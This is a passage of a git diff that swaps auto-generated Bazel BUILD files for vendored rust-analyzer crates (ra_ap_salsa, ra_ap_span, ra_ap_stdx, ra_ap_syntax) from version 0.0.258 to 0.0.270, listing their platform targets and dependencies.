+        "@vendor_ts__syn-2.0.100//:syn",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-0.0.258.bazel
deleted file mode 100644
index a9542ad6008d..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-0.0.258.bazel
+++ /dev/null
@@ -1,97 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_salsa",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    proc_macro_deps = [
-        "@vendor__ra_ap_salsa-macros-0.0.258//:ra_salsa_macros",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_salsa",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__lock_api-0.4.12//:lock_api",
-        "@vendor__oorandom-11.1.4//:oorandom",
-        "@vendor__parking_lot-0.12.3//:parking_lot",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-macros-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-macros-0.0.258.bazel
deleted file mode 100644
index b753230db46a..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_salsa-macros-0.0.258.bazel
+++ /dev/null
@@ -1,89 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_proc_macro(
-    name = "ra_salsa_macros",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_salsa-macros",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__heck-0.4.1//:heck",
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.258.bazel
deleted file mode 100644
index ee3121891d2d..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.258.bazel
+++ /dev/null
@@ -1,102 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_span",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs": "vfs",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "ra-salsa",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_span",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__hashbrown-0.14.5//:hashbrown",
-        "@vendor__la-arena-0.3.1//:la_arena",
-        "@vendor__ra_ap_salsa-0.0.258//:ra_salsa",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__text-size-1.1.1//:text_size",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.270.bazel
new file mode 100644
index 000000000000..fcace1b1b05f
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_span-0.0.270.bazel
@@ -0,0 +1,98 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_span",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_span",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__hashbrown-0.14.5//:hashbrown",
+        "@vendor_ts__la-arena-0.3.1//:la_arena",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__salsa-0.19.0//:salsa",
+        "@vendor_ts__text-size-1.1.1//:text_size",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.258.bazel
deleted file mode 100644
index 6c81bb672056..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.258.bazel
+++ /dev/null
@@ -1,104 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_stdx",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_stdx",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__always-assert-0.2.0//:always_assert",
-        "@vendor__crossbeam-channel-0.5.14//:crossbeam_channel",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__jod-thread-0.1.2//:jod_thread",
-        "@vendor__libc-0.2.169//:libc",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__miow-0.6.0//:miow",  # cfg(windows)
-            "@vendor__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__miow-0.6.0//:miow",  # cfg(windows)
-            "@vendor__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__miow-0.6.0//:miow",  # cfg(windows)
-            "@vendor__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.270.bazel
new file mode 100644
index 000000000000..9a96045450a2
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_stdx-0.0.270.bazel
@@ -0,0 +1,104 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_stdx",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_stdx",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__jod-thread-0.1.2//:jod_thread",
+        "@vendor_ts__libc-0.2.169//:libc",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__miow-0.6.0//:miow",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__miow-0.6.0//:miow",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__miow-0.6.0//:miow",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "//conditions:default": [],
+    }),
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.258.bazel
deleted file mode 100644
index 02cf67802e69..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_syntax-0.0.258.bazel
+++ /dev/null
@@ -1,102 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_syntax",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser": "parser",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_syntax",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
